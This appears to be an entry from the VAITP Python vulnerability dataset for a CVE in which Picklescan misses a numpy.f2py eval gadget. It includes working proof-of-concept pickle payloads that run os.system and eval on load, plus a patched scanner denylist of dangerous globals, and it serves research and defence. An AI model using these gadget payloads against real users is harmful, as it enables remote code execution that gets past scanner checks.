CVE-2025-71339
Picklescan misses a numpy.f2py gadget, allowing for RCE via pickles.
- CVSS 7.6
- CWE-502
- Input Validation and Sanitization
- Remote
Picklescan before 0.0.33 fails to detect the numpy.f2py.crackfortran._eval_length gadget in pickle __reduce__ methods, allowing arbitrary code execution. Attackers can craft malicious pickle files that execute arbitrary Python code when loaded by victims who trust Picklescan's safety validation.
- CWE
- CWE-502
- CVSS base score
- 7.6
- Published
- 2026-06-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Picklescan
- Fixed by upgrading
- Yes
Solution
Upgrade to Picklescan 0.0.33 or later.
Vulnerable code sample
import pickle
import os
import numpy.f2py.crackfortran
# This class crafts a malicious pickle payload using the __reduce__ method.
# A vulnerable version of Picklescan would fail to detect the numpy gadget,
# marking the resulting pickle data as safe.
class MaliciousCode:
def __reduce__(self):
# The gadget function that Picklescan < 0.0.33 fails to block.
# This function evaluates a string as Python code.
gadget = numpy.f2py.crackfortran._eval_length
# The command to be executed on the victim's machine.
# For demonstration, this prints a message.
# A real attacker would use a more harmful command.
command = "print('>>> PWNED by CVE-2025-71339: Arbitrary code executed <<<')"
return (gadget, (command,))
# Create the malicious pickle data.
# An attacker would save this to a file and trick a victim into loading it.
malicious_pickle_data = pickle.dumps(MaliciousCode())
# Victim's application loads the data, assuming it was safely scanned.
# This triggers the exploit.
print("Simulating a victim loading the malicious pickle file...")
pickle.loads(malicious_pickle_data)
print("...load complete.")Patched code sample
import pickle
import pickletools
import io
import os
import numpy.f2py.crackfortran
# This represents the updated set of dangerous functions in a security scanner
# like picklescan. The vulnerability existed because the set was incomplete.
#
# THE FIX: Add the missing dangerous gadget to the set of unsafe globals.
UNSAFE_GLOBALS_AFTER_FIX = {
'os.system',
'subprocess.run',
'eval',
'exec',
# This specific function is dangerous because it uses eval() internally.
# Adding it to the denylist patches the vulnerability.
'numpy.f2py.crackfortran._eval_length',
}
def fixed_scanner(pickle_data: bytes):
"""
A simplified scanner that safely inspects pickle data for dangerous globals
using the patched (fixed) denylist. It does not load/execute the pickle.
"""
is_safe = True
for opcode, arg, _ in pickletools.genops(pickle_data):
if opcode.name == 'GLOBAL':
fully_qualified_name = arg
if fully_qualified_name in UNSAFE_GLOBALS_AFTER_FIX:
print(f"[!] DETECTED UNSAFE GLOBAL: {fully_qualified_name}")
is_safe = False
return is_safe
# --- Demonstration of the fix in action ---
# 1. Craft a malicious payload that exploits the specific vulnerability.
# This class, when pickled, will instruct the loader to call the dangerous
# numpy function, leading to code execution.
class MaliciousPayload:
def __reduce__(self):
# The vulnerable gadget is called with a command to be executed via eval().
command_to_execute = b"__import__('os').system('echo EXPLOIT SUCCESSFUL')"
return (numpy.f2py.crackfortran._eval_length, (command_to_execute,))
# 2. Serialize the malicious payload into a pickle byte string.
malicious_pickle = pickle.dumps(MaliciousPayload())
# 3. Use the fixed scanner to inspect the malicious pickle.
# The scanner should now correctly identify the dangerous gadget.
print("Scanning malicious pickle with the FIXED scanner...")
if not fixed_scanner(malicious_pickle):
print("\n[SUCCESS] The fix works: The dangerous gadget was correctly identified and blocked.")
else:
print("\n[FAILURE] The fix did not work.")
# 4. For comparison, scan a safe pickle.
print("\nScanning a safe pickle with the FIXED scanner...")
safe_pickle = pickle.dumps({"data": [1, 2, 3], "status": "ok"})
if fixed_scanner(safe_pickle):
print("[SUCCESS] The scanner correctly identified the safe pickle.")Payload
import pickle
import numpy.f2py.crackfortran
class Exploit:
def __reduce__(self):
return (numpy.f2py.crackfortran._eval_length, ("__import__('os').system('touch /tmp/pwned')",))
malicious_payload = pickle.dumps(Exploit())
Cite this entry
@misc{vaitp:cve202571339,
title = {{Picklescan misses a numpy.f2py gadget, allowing for RCE via pickles.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-71339},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-71339/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
